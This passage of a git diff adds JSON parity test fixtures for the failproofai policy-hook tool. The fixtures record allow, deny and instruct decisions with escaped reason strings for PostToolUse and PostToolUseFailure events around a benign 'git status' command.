"reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..0389ca2c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..9e427fd8 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..90820e7c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e2a56441 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6e81756c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..715ee0e2 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d825b9f3 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b847fab7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a1d683ca --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..fde6577d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f4ff4032 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..967eb30b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..544985e4 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..7df02d6a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..907d58cc --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..94dc9bc7 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c6a58dad --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..0518d9d0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..943a0f5b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + 